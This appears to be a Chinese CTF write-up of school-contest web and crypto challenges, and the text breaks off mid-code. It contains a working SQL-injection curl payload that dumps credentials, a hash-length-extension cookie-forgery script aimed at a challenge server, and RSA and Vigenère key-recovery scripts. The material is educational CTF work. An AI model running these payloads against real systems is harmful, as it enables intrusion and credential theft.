校赛部分web+crypto WriteUP
来源:互联网 发布:masslynx数据导出 编辑:程序博客网 时间:2024/05/12 03:40
- web100 warmup-web
- web300
- web300 web2
- web300 web4
- crypto100 rsa
- crypto100 wn
- crypto100 warmup
- crypto200 zlmm
- crypto300 basr
- crypto500 ccr
- crypto400 heheda
- crypto500 rsb
本来最开始没有打算做这个比赛,因为看了看奖品好像没有什么需要的,也就U盘有点用,加上之前湖湘杯线下赛打的不好,不过要是那时有python2环境其实个人感觉还是有机会打进前10名的,哎算了,马后炮什么的就不谈了。一场线下赛收收获挺多,打完想要做的事情也就更多了,赶紧开始疯狂写工具把。
后来听说这次会有几道好的加解密的题,加上我们队也只有我一个人做加解密,所以想想顺带练练手,结果就沉迷crypto不可自拔,做了一整天加一整下午的加密。。结果web题到后来都没时间做了。
回头等疯狂写完一波工具再补把。
web100 warmup-web
请求头看到路径,然后访问直接拿到flag
web300
根据提示在index.txt
看到源码,一道hash长度拓展攻击的题,不知道secret的长度,写个脚本爆破下就行了
import osimport requestsr=requests.session()def inject(username,password,hash): param={"username":username,"password":password} header={'Cookie': "albert="+hash} url='http://45.32.58.123:8888/index.php' result=r.post(url,data=param,headers=header) return result.contentfor i in xrange(1000): print i find_hash = "~/github/hash_extender/hash_extender -d 'adminadmin' -s 968c31570a2a3afa076112687ecca974 -f md5 -a 'adminguest' --out-data-format=html -l " + str(i) + " --quiet" tmp = os.popen(find_hash).readlines() hash_value = tmp[0][:32] username = tmp[0][32:37] password =tmp[0][37:] content = inject(username,password,hash_value) if "flag" in content: print content break
web300 web2
一道跑字典的题,先跑字典发现有一个/x/
的目录,再跑字典发现,x目录下有login.php和register.php,并且两个都存在备份文件,在.login.php.swp
的源码里面直接拿到flag。
web300 web4
一道注入题,没有过滤,参数id,直接爆库就可以了,
如下:
curl "http://45.32.58.123:4444/?id=1' and 1=2 union select 1,concat(id,0x2f,username,0x2f,password),3 from albertchang limit 0,1--+ "
拿到密码之后,最后
curl "http://45.32.58.123:4444?id=1" -d "flag=Th3_Pas3W0rd_i3_Albertchang"
crypto100 rsa
一到简单的共模攻击,如下:
from libnum import gcd,invmoddef pow(b, e, m): result = 1 while e != 0: if (e&1) == 1: result = (result * b) % m e >>= 1 b = (b*b) % m return resultdef egcd(a, b): x,y = 0, 1 lastx, lasty = 1, 0 while b: a, (q, b) = b, divmod(a,b) x, lastx = lastx-q*x, x y, lasty = lasty-q*y, y return (a ,lastx, lasty)n=0x18f60afa6b9938df69338805ae7fbd5652da3ac8fa5b7b65e4755149ba3f80d071fe8845fa20ea3e57e21fb2f630e47e4886de35c51d1487c170a59141f833c3aaea62c539e20664dbfa75f1b2d56ed4dbec991e5bf3306931bfda79b1dd8466f808af159b44be042499d423110ab9cfd595e370029862e2e686ed2a27fb6b459c4fddc0ebd4f112e0f3769524412e7128eb04b02de421df5a0e5b22d2c40acf1727aa9093160bf6dbd862ac136a805a4e9c760c54d28ac5bf21d509d94e9e437e2e38a13664ec104dadc66f8c21b7b82e3e3570d27326e13df07dd72b6847f8e53aadeafa54cc879cfa2ae3b8028c39df36b097ba65688abadb78a06c16f393Le1=0x17e1e2=0x43a5c1=0xb6e66aa0d4d5ad1460482f45aab87e80a99c1ff3af605fd9cea82d76d464272f3dd2e1797e3fede64cffcd54b2a7a5e21f45574783f62266cebf3cdb9764c6c04b0b30b5d065d5f6142d498506ea1f6449f428253d4d76bd96778d5f58abf313370b980dcb90daf882c5539ac3df81a431bc2c0e0911ecbe5195d94312218b3854ee14f13bd00c81d7ff11c06a9e112940b7377c20e53738a2ebb77b0534d8d9e481e60e9c87693bd9e1fd1e569083479ff8f53e42337a2b799c2325a7e2588fb046cf228d01d8596e7af4570a3cb0635d2524d234e3993d76b7e60f1c478ba45891de5cc0a1fec116f7c0dd9be7aa54226edf0196e37856afca32c69d790e1Lc2=0x9bcbfea3c3130364bbcf352b7810df031293949ed147919dec3ecfdd48f77e9486ae811d95f8c79eb477f4424d475dc611536343c7e21c427e18593aae37982323f2c0f4e840fbf89b31edc8f79ad7f6511ee0e5605cfbba7ada7d8777e81ec0ac122e0ad5108e97fafc0cd31ed8c83f3e761b92bdbea1144b0c06c5ca43a7b4e9e0a2b15ee12509235c5695be54d9fd0725ac80abbf0f5e8f43539da3ce9464020099e031d8bca899f11638169196ac72aeaeb90dab851d801cf93044cc00dd94d93c8963201b26788a7c42ce45c496c0a597ac53cd55c60b8f38f3f7d1f8ecc2e4e40ba6fe0c6e605ebbfc9aa3da5ab810c783c1d9957bb5d00a89ab1bbdeLs = egcd(e1, e2)s1 = s[1]s2 = s[2]if s1<0: s1 = - s1 c1 = invmod(c1, n)elif s2<0: s2 = - s2 c2 = invmod(c2, n)m=(pow(c1,s1,n)*pow(c2,s2,n))%nprint hex(m)[2:-1].decode('hex')
crypto100 wn
一道wiener_attack,脚本如下:
def pown(b, e, m): result = 1 while e != 0: if (e&1) == 1: # ei = 1, then mul result = (result * b) % m e >>= 1 b = (b*b) % m return resultdef isqrt(n): x = n y = (x + 1) // 2 while y < x: x = y y = (x + n // x) // 2 if pow(x, 2) == n: return x else: return Falsedef con_fra(a, b): r = [] while True: if a == 1: break tmp = a/b if tmp != 0: r.append(tmp) a, b = b, (a-tmp*b) return rdef wiener_attack(e, n): cf = con_fra(e, n) for x in xrange(len(cf)): k, d = 0, 1 while x >= 0: k, d = d, d*cf[x] + k x -= 1 phi_n = (e*d - 1)/k B = n - phi_n + 1 C = n dt = pow(B, 2) - 4*C if dt >= 0 and isqrt(dt) and (B+isqrt(dt)) % 2 == 0: #return phi_n return d print "wiener attack fail!"c=0x63ef5dc677da219989328c3e02cf6fff8aa7a47929d5fff01808005d7abbf40d62fea27fe6ec2abe5d98915e1ecd65b4a9f6b51713b0d0a479bedead0837c7ab44ece78df9708f3bd5702ef48b8b37ddd686b1a1e397eec53779e45354479f13e8329d90c1799d3d920d072b9db39c39c4da4d154537d60080355fe1c34cfa179f5ca19fc08ef2e5f5ba23ec49c08d54bdd383d8f69b2ede5252342d14d5c11546047bd631a6fdec50dfd8f9232eab73c9cb2c9c453feda0348385a45607d04e534983a10b8fe6769002e91fc3867460c100df2b8dec3ff68ba35138677d424eeb5ccb8a8712068ad22d5d596aeb770589ffbf8732ea7fa60d86113f6aefaffLe=0x1dd2f1e955f2b2a230e23a691dbfa129672588f4f14f20527eb6731b1c6bec25ee955e706a2c1a3e8740900e32ffa977ac899a1fb905dd7a11bc6bbd448960260c82eb6aec3f1fbeeeafc6b2e32a53369a406b7c851f3bb235b0a34699bfae43d6ac5dc3402aa52a9009f7a4c92d263eec13ed7a8d240d85d551a66b7c67a46c8d6978f609cec1ddcb3f9ca5bf173ed705dd0814182c40cbc689d5f749d83b2df753dafe484d7d5b4c3964e03c291ed822f87cbd7ed921d0aa15d33052602d19d7d54b61a6d4dea2a436d04da3bfc3c4fa12430c4eb3dbd1fca149295993fcf164a21a47b2a071169929b2d2fa7435c92ade5d9a3c9b0d76bfbc690d7ddc827Ln=0x7d7adb3106f3ed066a0a94da1822290f596f1f6bf23f0ee64ce5804d59b82458f65ad251575777edeb75abef82fb7dc8ac8b5d503e912867d644897803370a51ead9d74e42df734314af4bc8564db1714e61e7d5bdd16ec3306b2d93741a9fa4822e2cb6795a3cd0c1a6a6f8d1bd06a8fb6cb6c6acea7bdd6a247ec76cbf261e9f1f3915be37c0ec7ff44d064978857e6d05d778ef07ab84b31a8fa3d500e347c7baef85e647603dba220f570006e79deafcac7d863f3f1bc2ebcac64562984b730cf5b91cf23ff817f9dd64ac6a1cee4475a31a82180b53930dc67f40e1d6d91d1a6316af6de7e40c8ef4a76fdfe40ff352fe7dc89466a4846cb8d1a8fd025Ld=wiener_attack(e,n)m=pown(c,d,n)print hex(m)[2:-1].decode('hex')
crypto100 warmup
代码如下:
def decode(enc_flag,k): r=enc_flag.decode('base64') r=r[:-1] tmp="" for i in r: tmp+=chr(ord(i)^k) return tmpa='UAUSAB1QUFBQUFAbfQ=='for i in xrange(33,127): b=decode(a,i) print b if "61d" in b: print b
crypto200 zlmm
栅栏密码,直接写脚本暴力猜解组数解密就可以了
代码如下:
# encoding:utf-8cipher='F e canece odouarld{iarswsitt o N fsseo zvgiyeipioantehi t ancheocm gaous oganwiakgaa ,absntns l rd ic p+s notei. aimo ttejtntlca,lado d gi bhh.ooiiao in nTeghlseee y gvnrgicdt hcrtlle rIoehimern hPire ianfituntti e sterseaoov ln sd ymyawho o etfnesagc o.aethadEcm ssem adtff6a odamlocbh aeimah l6rAsoyaamaeoowrsneyeba6smew,nmemapfhe j b ag}'length=len(cipher)num=[]for i in range(1,length): if(length%i==0): num.append(i)for i in num: b=length/i plantext={x:'' for x in range(b)} for j in range(length): a=j%b; plantext.update({a:plantext[a]+cipher[j]}) d ='' for j in range(b): d = d+plantext[j] print "=====================================================" print str(i)+":"+d
然后发现分为16组的时候时正确的
crypto300 basr
拿到代码如下:
from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_longimport stringimport randomdef pen(msg,k): myl=string.printable[0:62]+"+/" nell=[""]*64 for i in range(64): nell[(i+k)%64]=myl[i] nel="".join(nell) msg+="/x00"*(len(msg)%4) bs="" for i in msg: bs+="0"*(8-len(bin(ord(i))[2:]))+bin(ord(i))[2:] print bs c="" for i in range(0,len(bs),6): c+=nell[int(bs[i:i+6],2)] return cdef backdoor(p,k): q2=getPrime(1024) n2=p*q2 print "q2",q2 print "n2",n2 return n2^(k%64)def main(): flag=open("flag","r").read().strip() m=bytes_to_long(flag) print "m",m p=getPrime(1024) print "p",p q=getPrime(1024) print "q", q n=p*q print "n",n s="" s+=hex(n)+"\n" e=65537 c=pow(m,e,n) print "c",c cipher=long_to_bytes(c) k=random.randint(0,0xffffffffff) print "k",k s+=pen(cipher,k)+"\n" s+=hex(backdoor(p,k)) open("info","w").write(s)if __name__ == '__main__': main()
分析之后,发现能够从backdoor(p,k)
的值里面还原出p
,加上我们已知n
和e
,这样就能够求出私钥d
,再根据pen(cipher,k)
的值我们可以还原出密文,然后直接用私钥解密就可以了。
代码如下:
# encoding:utf-8from libnum import gcd,invmodfrom Crypto.Util.number import bytes_to_longimport stringdef pow(b, e, m): result = 1 while e != 0: if (e&1) == 1: result = (result * b) % m e >>= 1 b = (b*b) % m return resultn=0xe886509c1b938f6516e6427f4c39a978a986cda762b3b2fadc7695e32318bc778d98d0bc2a4b69e199b9502637df7e9188528c897a8045e70761fc8d686862dd5f2e8e6aef345c8071930604393e93924a0521cf877b0a5de6096ffdde32498a31e71c62c075bb05f89f16aab2af4de8cf5a7f4c2f5c9f9cf2c416f3f0d3f3e0b95eba65f93401798cffb11d8dddba00d2a0a5f3dfa56d789990cb7fe9f7512b3b59b01db833765b24e7d3f9e2a0ad6b12353469016376f692633f13238f793c571cb51f502ced1407837244cc4d82387a02752f5ab6b5911e2c33db582b47af7cea5b5e58c992e6898b422d458493e5af131ba384bece961e1c3639c6fa9c7fLpen_cipher='5PmgEkc2aMYMdepZ0afHUavdwWbwTH8JsXMCYBkaE/LH067sciTI3BZ/9PvSeCBwByy2RQcbJa6ZTkl6H3IPUuukjvWUAhiSZ90e5wVN4eLp5Cje13QR4H7Jpo6BmcW+7sQd35YuF+j8oUzcqJVQ7HmGhPfjcMQDpD7wc36bDj6bCY4Lc4vaMNWULqmCX9uzKazDc3cf2BPQsFBAyKrVJqNGbwW3EfxxoHZvqLBvlKvAOA2QmEYSXW2w3PNh8Ut031nVXo91Ty3Doz0i4UgX/yiFGkmHIyOfgDztg/AWj9kYs1HXHhcq9AmPVvIoXNol6JJg8qkXtkZz8q0uInDgV5'backdoor_p=0x82d1893261466f1a6493136407b686e5bde5c79772834d609067709bf442c71ffd90760ce8b94f766d8b5b5c91f6ba66193c6322d27350b4c03d08c41236d842a9e619cb9fb11f3d53cb787ffdd05d354510cf0165eb831dab58bf800e3b40cdf31b9cf9b337ac020a147be9342d0f0a45fbd31db24df5763bc0f7194c0056636f53989a7777e37e862b0f4aee82432759e5dac55cca7f3a17ccbaf59680e05c523855218560104835bb3ca863a0abdd003f3e3308e7d90ab8cb729b304d15424ada98b0e98a2893ca801508ef6b6ebcfa0bc0d857dc104b93b4f92a52fb5d459d465a2c1a5d5d94905c6c4b42393a8d83eac5035696c990b96e90b155c3e85dLp=""k=""for i in xrange(64): n2=backdoor_p^i p=gcd(n2,n) if p!=1: k=i break#print pq=n/pphi_n=(p-1)*(q-1)e=65537d=invmod(e,phi_n)#print dmyl=string.printable[0:62]+"+/"nell=[""]*64for i in range(64): nell[(i+k)%64]=myl[i]nel="".join(nell)bs=""for i in pen_cipher[:-1]: bs+="{:0>6}".format(bin(nel.find(i))[2:])#print bsbs+=bin(nel.find(pen_cipher[-1:]))[2:]msg=""for i in xrange(0,len(bs),8): tmp=bs[i:i+8] msg+=chr(int(tmp,2))#print msgc=bytes_to_long(msg)print hex(pow(c,d,n))[2:-1].decode('hex')
crypto500 ccr
首先拿到源码如下:
import flagfrom Crypto.Util.number import getPrime, long_to_bytes, bytes_to_longfrom base64 import b64encode, b64decodechars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'def shift(char, key, rev = False): if not char in chars: return char if rev: return chars[(chars.index(char) - chars.index(key)) % len(chars)] else: return chars[(chars.index(char) + chars.index(key)) % len(chars)]def encrypt(message, key): encrypted = b64encode(message.encode('ascii')).decode('ascii') return ''.join([shift(encrypted[i], key[i % len(key)]) for i in range(len(encrypted))])def main(): m=bytes_to_long(flag.flag) p=getPrime(1024) q=getPrime(1024) n=p*q e=65537 c=pow(m,e,n) s=(long_to_bytes(c).encode("base64")+hex(n)+hex(int(bin(p)[2:][0:576],2))).encode("base64") open("ccr.txt","w").write(encrypt(s,flag.k))if __name__ == '__main__': main()
看到shift
函数很容易想到vigenere
,关于flag.k
没有任何信息提示,大三密码学的时候讲过一种kasiski
测试法用来猜解密钥长度,那时候破解vigenere
两步,第一步是长度破解,第二步统计字频进行替换。但是统计字频仅限于字母表为a-z
,这道题显然不适用,而且我们通过kasiski
测试法跑出来的密钥长度是24位。如下代码便是获取密钥长度的kasiski
测试法,当然我写的比较冗余,不过能够搞出来就行了。
def get_len(s): val=[] length=len(s) for i in xrange(length-4): for j in xrange(i+1,length): if s[i:i+4]==s[j:j+4]: val.append(j-i) maxtimes=0 maxval=0 book={} length=len(val) print val for i in xrange(length): for j in xrange(i+1,length): tmp=gcd(val[i],val[j]) if book.has_key(tmp): book[tmp]+=1 else: book[tmp]=1 if book[tmp]>maxtimes: maxval=tmp maxtimes=book[tmp] return maxvalkey_len=get_len(a)print key_len #=24
由于没有任何密钥相关信息,64**24
显然没有办法直接爆破。
所以我们采用和TWCTF拿到crypto200的vigenere的破解方法,这里我们看到,在加密的时候首先进行了encode('ascii')
操作,这也就决定了我们解密出来的值一定要是在ascii的范围之内,如果我们通常来爆破的话,由于这里用了base64
,解密的时候在vigenere解密之后,会进行一次base64
解码操作,根据base64解码每4位密文串导出3位明文串,我们可以将密钥每四位分组,然后通过爆破每组的密钥合并之后就是总密钥。
但是还是面临长度过长爆破成本过高的问题。
但是我们刚刚说了,解出来的值一定要在128以内,因为是ascii编码了。
所以我们不用逐位爆破。
比如我们在爆破第一组四位密钥的时候,我们枚举到beaa
这一串,然后只用这一串去解密原文,然后base64解密完成之后,如果每18
的第一个字符(即由be
解出来的字符)不是ascii的,那么后续的爆破beab
、beac
等等都没有意义了,可以直接跳往bdaa
了。
有了这样的预判,我们在爆破的时候就能够省下很多时间。
爆破密钥的代码如下:
def is_ascii(string): if string: for i in string: if ord(i) > 128: return False return Truedef judgeascii(plain,num,block): start = 3*block for i in range(start,len(plain),18): if not is_ascii(plain[i:i+num]): return False return Truekey_len=24def get_key(encrypted,key_len): global candi_count candi_key_list = [[],[],[],[],[],[]] for block in range(int(key_len/4)): for a in chars: for b in chars: if not judgeascii(decrypt(encrypted,a+b+"aa"),1,block): continue for c in chars: if not judgeascii(decrypt(encrypted,a+b+c+"a"),2,block): continue for d in chars: if judgeascii(decrypt(encrypted,a+b+c+d),3,block): #print a+b+c+d candi_key_list[block].append(a+b+c+d) return candi_key_listk1,k2,k3,k4,k5,k6=get_key(encrypted,key_len)print k1,k2,k3,k4,k5,k6'''k1=['smab', 'smaf', 'smah', 'smai', 'smaj', 'smak', 'smal', 'sman', 'smao', 'smap', 'smaq', 'smar', 'smas', 'smat', 'smau', 'smax', 'smay', 'smaz', 'smaE', 'smaG', 'smaH', 'smaI', 'smaJ', 'smaK', 'smaL', 'smaM', 'smaN', 'smaS', 'smaU', 'smaX', 'smaY', 'sma2', 'sma7']k2=['lpic', 'lpid', 'lpie', 'lpif', 'lpig', 'lpii', 'lpij', 'lpik', 'lpil', 'lpim', 'lpin', 'lpio', 'lpip', 'lpiq', 'lpis', 'lpit', 'lpiu', 'lpiw', 'lpiA', 'lpiC', 'lpiD', 'lpiE', 'lpiF', 'lpiG', 'lpiH', 'lpiK', 'lpiM', 'lpiN', 'lpiT', 'lpiX', 'lpiY', 'lpiZ', 'lpi5', 'lpi7', 'lpi8', 'lpi9', 'lpi/']k3=['piga', 'pigf', 'pigh', 'pigi', 'pigj', 'pigk', 'pigm', 'pigo', 'pigp', 'pigq', 'pigr', 'pigs', 'pigu', 'pigv', 'pigw', 'pigx', 'pigy', 'pigz', 'pigA', 'pigC', 'pigE', 'pigF', 'pigG', 'pigH', 'pigO', 'pigQ', 'pigR', 'pigS', 'pigT', 'pigU', 'pig2', 'pig5', 'pig8', 'pig9']k4=['mala', 'malb', 'malc', 'male', 'malh', 'mali', 'malj', 'malk', 'mall', 'maln', 'malo', 'malp', 'malq', 'malr', 'mals', 'malt', 'malu', 'malv', 'malx', 'maly', 'malB', 'malG', 'malH', 'malI', 'malJ', 'malK', 'malL', 'malM', 'malO', 'malP', 'malU', 'malX', 'malY', 'mal5', 'mwla', 'mwlb', 'mwlc', 'mwle', 'mwlh', 'mwli', 'mwlj', 'mwlk', 'mwll', 'mwln', 'mwlo', 'mwlp', 'mwlq', 'mwlr', 'mwls', 'mwlt', 'mwlu', 'mwlv', 'mwlx', 'mwly', 'mwlB', 'mwlG', 'mwlH', 'mwlI', 'mwlJ', 'mwlK', 'mwlL', 'mwlM', 'mwlO', 'mwlP', 'mwlU', 'mwlX', 'mwlY', 'mwl5']k5=['lala', 'lalb', 'lalc', 'lald', 'lale', 'lalf', 'lalg', 'lalh', 'lali', 'lalm', 'laln', 'lalq', 'lalv', 'lalw', 'lalx', 'laly', 'lalz', 'lalB', 'lalC', 'lalD', 'lalE', 'lalJ', 'lalM', 'lalR', 'lalS', 'lalU', 'lal1', 'lal2', 'lal3', 'lal6', 'lal8', 'lal9', 'lal+', 'lal/']k6=['kala', 'kalc', 'kald', 'kale', 'kalf', 'kalg', 'kalh', 'kalj', 'kalm', 'kaln', 'kalq', 'kalt', 'kalv', 'kalw', 'kalx', 'kaly', 'kalz', 'kalA', 'kalB', 'kalC', 'kalD', 'kalE', 'kalJ', 'kalK', 'kalL', 'kalM', 'kalN', 'kalR', 'kalW', 'kalX', 'kalZ', 'kal6', 'kal8', 'kal9', 'kal+', 'kal/', 'lala', 'lalc', 'lald', 'lale', 'lalf', 'lalg', 'lalh', 'lalj', 'lalm', 'laln', 'lalq', 'lalt', 'lalv', 'lalw', 'lalx', 'laly', 'lalz', 'lalA', 'lalB', 'lalC', 'lalD', 'lalE', 'lalJ', 'lalK', 'lalL', 'lalM', 'lalN', 'lalR', 'lalW', 'lalX', 'lalZ', 'lal6', 'lal8', 'lal9', 'lal+', 'lal/']'''
最后得到看k1-k6
有好几个值,这里可以通过在is_ascii
那里加更好的判断来减少数量。然后就是枚举密钥,看结果就很容易知道最后密钥是smallpigpigsmalllalalala
for i in k1: for j in k2: for k in k3: for l in k4: for m in k5: for n in k6: keylist.append(i+j+k+l+m+n) try: result=decrypt(encrypted,i+j+k+l+m+n).decode('base64') if "L0x" in result and result[-1]=='L': print result print i+j+k+l+m+n except: continue'''QByma8nqcfR+23dbnTnwpUkamJZfn4in8AFDnqogFRrSyC5uynoPYnZLrX1JMQINTHG63lCIlWPFlUFABnOJZSb7bdA7g2WZbABJRce0lxVxAYuHwMvuNTDntISXm1a9sroHE4WlGUTpUuxbM/pKtFpjXPin9J4zKugg0sD1vHswdk+wiUz8QA1rp6uNGSI6ZQjLlld7LBXPsuUPbAIfqxo3mpzXNRvDkoBoHbLGjbGH0LrdrE80GY8UcKiIEBTxZKP8l/cR3MO7/+R/OuBzgWGw90Zt36yqpnP8BIZlSi7G/IUsDyVLAk/23wBDjH8AHFt0I9izhpF/Dug35crQSg==0x5fcc948684da2134f277e6fe7ca8f0cccb253c0a67a437e918a10969ef3f67fedf8b80e87991eba0f8a24be8d74029bb7010571e9e32c48df05ea4034df6ed3218fc1412303af5aa7c38ba5eeb9dc28c094b9d34a7def01faf47b606082b386b01a5ea3574fe95eb1d1a3cf78d9215d3e60cebf5262d119ad4841122620bd11cee24f72f4ac61612eb572fc5fecd31329f7feaaec15a87075bf2562eeba8b43ebee6f039466922d48e2287fbfc287d88cdfb7aaefe64e441f28a46d6737efde909203c380ff1aba6835ba0b3799b7c1094a301373919e394c2a9e75b441c9a6078aee099ef54e5cc90c9a35aab5c1c3051121e1411c40fec0a48010a0f5a625fL0x8bfce4f19312101f6b9fac45d433922681d82b634330952f63759ed912e6942b35014256a7df18de69830056112557b9152833dc9ce7f4ce95b7c76f4f5175bcbe5fe340e03c3d2aLsmallpigpigsmalllalalala'''
在来看前面一段内容,观察一下和HCTF2016的RSA2基本一样,当时比赛的时候可以都找到恢复代码,最后因为位数打错了没能成功恢复出来p,结果没有做出来挺遗憾的。
HCTF2016的RSA题解:http://0x48.pw/2016/11/28/0x28/
这里就是利用已知的576
位的p和已知的n来恢复出p的全值。sage代码如下:
p_576 = 0x8bfce4f19312101f6b9fac45d433922681d82b634330952f63759ed912e6942b35014256a7df18de69830056112557b9152833dc9ce7f4ce95b7c76f4f5175bcbe5fe340e03c3d2an = 0x5fcc948684da2134f277e6fe7ca8f0cccb253c0a67a437e918a10969ef3f67fedf8b80e87991eba0f8a24be8d74029bb7010571e9e32c48df05ea4034df6ed3218fc1412303af5aa7c38ba5eeb9dc28c094b9d34a7def01faf47b606082b386b01a5ea3574fe95eb1d1a3cf78d9215d3e60cebf5262d119ad4841122620bd11cee24f72f4ac61612eb572fc5fecd31329f7feaaec15a87075bf2562eeba8b43ebee6f039466922d48e2287fbfc287d88cdfb7aaefe64e441f28a46d6737efde909203c380ff1aba6835ba0b3799b7c1094a301373919e394c2a9e75b441c9a6078aee099ef54e5cc90c9a35aab5c1c3051121e1411c40fec0a48010a0f5a625fpbits = 1024kbits = pbits - p_576.nbits()print p_576.nbits()p_576 = p_576 << kbitsPR.<x> = PolynomialRing(Zmod(n))f = x + p_576x0 = f.small_roots(X=2^kbits, beta=0.4)[0]print "x: %s" %hex(int(x0))p = p_576+x0print "p: ", hex(int(p))assert n % p == 0q = n/int(p)print "q: ", hex(int(q))
得到p和q之后,由于e=65537
已知,那么就很容易拿到d,然后用私钥d解密即可
a='''QByma8nqcfR+23dbnTnwpUkamJZfn4in8AFDnqogFRrSyC5uynoPYnZLrX1JMQINTHG63lCIlWPFlUFABnOJZSb7bdA7g2WZbABJRce0lxVxAYuHwMvuNTDntISXm1a9sroHE4WlGUTpUuxbM/pKtFpjXPin9J4zKugg0sD1vHswdk+wiUz8QA1rp6uNGSI6ZQjLlld7LBXPsuUPbAIfqxo3mpzXNRvDkoBoHbLGjbGH0LrdrE80GY8UcKiIEBTxZKP8l/cR3MO7/+R/OuBzgWGw90Zt36yqpnP8BIZlSi7G/IUsDyVLAk/23wBDjH8AHFt0I9izhpF/Dug35crQSg=='''c=bytes_to_long(a.decode('base64'))n=0x5fcc948684da2134f277e6fe7ca8f0cccb253c0a67a437e918a10969ef3f67fedf8b80e87991eba0f8a24be8d74029bb7010571e9e32c48df05ea4034df6ed3218fc1412303af5aa7c38ba5eeb9dc28c094b9d34a7def01faf47b606082b386b01a5ea3574fe95eb1d1a3cf78d9215d3e60cebf5262d119ad4841122620bd11cee24f72f4ac61612eb572fc5fecd31329f7feaaec15a87075bf2562eeba8b43ebee6f039466922d48e2287fbfc287d88cdfb7aaefe64e441f28a46d6737efde909203c380ff1aba6835ba0b3799b7c1094a301373919e394c2a9e75b441c9a6078aee099ef54e5cc90c9a35aab5c1c3051121e1411c40fec0a48010a0f5a625fLq_576=0x8bfce4f19312101f6b9fac45d433922681d82b634330952f63759ed912e6942b35014256a7df18de69830056112557b9152833dc9ce7f4ce95b7c76f4f5175bcbe5fe340e03c3d2aLp=0x8bfce4f19312101f6b9fac45d433922681d82b634330952f63759ed912e6942b35014256a7df18de69830056112557b9152833dc9ce7f4ce95b7c76f4f5175bcbe5fe340e03c3d2a9f51a263e56e33e3e801538dd92b459a412cbe9efe2fa671bd83dae7d88c292bb21227ce242b1ee1a0fb222b3f3436911bf0940b2cf5da4fLq=0xaf30d53c6a8aaefd7da0d6b7f7c139527f14f3b18232119e9c8964b43a64456553eca17cefa9e9d06aec24710d3f88a2d5b67811e63f0a77a5e34dc02d70a4269511109448bd1c33e80e13c11ab0524f7186a29e09d83431f0862fa9e41b894f703af8362bcdefded4f96169c21641a6ba652f72c741292c86306b4e4608c2f1Le=65537phi_n=(p-1)*(q-1)d=invmod(e,phi_n)print hex(pow(c,d,n))[2:-1].decode('hex')
下面是我总体的所有代码混在一起了,做题边做边调嘛。
# encoding:utf-8from libnum import invmod,gcdfrom Crypto.Util.number import long_to_bytes, bytes_to_longfrom base64 import b64encode, b64decodeencrypted="b7VVY/R361XAnk+B7mIJnkaq/yt+m831bu/Cp1+8oGsi6XMhcy0/XVN32LX97VAQ9meGolzwcxNumTa795vcYW68YX+V2mI1bctdp5x36M537F+R3l2s5kwSwxlf9z3U7uPY/FQ3+3Mz6l6a8xFEY+JZqPHa8WAvlVAF2TYawwp96f9Q5tLJoFY+Xl639ksobcVQ2Axq+4mROl297jQUmFUFey533A2DpPX5705a9zYKolYFb5B7XCpO+t5+p1+96j2ZlzM2eaV/XURA5vLVnGs29Vn0YVYqavZ4Xe7A/vvUqlUP2jTK50sO4bpSngRq1uDc/WAz5lQU2nwj9RoI6VBq+NTa8mQ663MN9ko4sa4HpTV36sPm/F+75Vwr2kAatwY/9CxUsOT0oFw5mEzy5ko0vsp2m8pR98j25VTJnGwSXGo3bQhVlfVx+1X53W2l40+WllXytQp369x1c25O5F6PlHYMXkeT/5AI5Tb/3PPbmTw1+F6KYlzxfQhvpBB9RtjM6XAZmmI490n1a69Q3zx3q5na+V2v3EHwmF+jvdBQ++7g83Ldo3+Ylkdz5WESu7NPlTRZ63uO5U6CYWQYnGij97lb5zp2qs7m7mzV92IG6FA64PlOlzQ68tjsmlwflzMP2Fv0/wd3lT9w65v631we4nAkmEetcyxZXzbu88jfp1vJ4mAZlkvx/5JYoet0/1Tf7FQf4jUVYQANbShz4+ZH22/InGIllket4mAkt7p85B9V68qg5Uo6YEe6lz6NbbZA7+ZIq2dZ3XwZ20As40oR4a5P1atV+8vH5nAMpEaE6TYNbbUaNAx085rfqlP/7koZo0eXbyhZ2TNa8sj+nUeE6mENpkw4/adllz9095n5mkac4TUGmUeX9yhZXz9a88j2mEe86mIZlmIrc9pUYUta51025koUYVAE4TMZbSRC7Al5s87d8mslllPz7WAZva5B18ZTq2rm502llUaE2msObbZz4ax118/Z8mI06F+s7WAGsa182ax51tqR50o2YQANlk5xcwRZmTbw5uvs70AE4l2JXkata9hY6VFu/sX9ZEeP2XsNlkvy/8pNl+xK65nfYl+D4WASmUe6+y1Z2d7w8uvXYka53mIZll5zUw1E7BxU+9vK8TU2pkaU4XwPbbkK7B92pNrd7mAY6F+o402jva5f6BtgpsqP5mAVmFAX3msP9akH48R2p3vd7TUllkQ6412R4w5BlgsQ8479YEiS6XwNlmnzcy1Vm+ta71X6YlP/40oOl1At+5N+6d7y/u7bYkeS6TMO2E+t/8pzlTbK/uz6mmYf4jUWmVAHb5VY2VB/82X6mgAYpmo37maZwRl83BpUpujm5loVlEaH3XAOwysa7/xqps7a2T6Z20664U2Fww5f483T+ODK5XACXFw63msPbbUK4AlP1M/W3mA0605yNkaEeLR+6e7y82XJZVA87TQO215xc5JYY99N811f7E/I7VoGlUeX/9h+pz998tXXqEaB2mIN6FQ4/7dYXT9N/uDfqkUz4k2no0aU8ygV49l513ra8XwZ61AN4Usn5RlE7Bxg+NPL5V2CpkaU3XsN9QZE4B9P23vL3mAZ2F+r4k2Nww953atUpujk8k2ypVwq7XAO9Q1f49Zx1Yv5nVvJ4XAjXUiXbyt06T3//tXfZUeP3mwNpl63/7R2p9b0/un6YlUE4V2ol1AUc5V02T9982XbYka52XwO6F5zc8pCpTb071X5qkeCNlw6mGAabSRE4zlUqMda7mwZXk/z4maZ4RpB6apUtt5H8TUVmEeX7mINwxFc7AZHttrm5mEYmU+NNg=="chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'def pow(b, e, m): result = 1 while e != 0: if (e&1) == 1: result = (result * b) % m e >>= 1 b = (b*b) % m return resultdef shift(char, key, rev = False): if not char in chars: return char if rev: return chars[(chars.index(char) - chars.index(key)) % len(chars)] else: return chars[(chars.index(char) + chars.index(key)) % len(chars)]def decrypt(encrypted, key): encrypted = ''.join([shift(encrypted[i], key[i % len(key)], True) for i in range(len(encrypted))]) return b64decode(encrypted)def decrypt_true(encrypted, key): encrypted = ''.join([shift(encrypted[i], key[i % len(key)], True) for i in range(len(encrypted))]) return b64decode(encrypted.encode('ascii')).decode('ascii') #kasiskidef get_len(s): val=[] length=len(s) for i in xrange(length-4): for 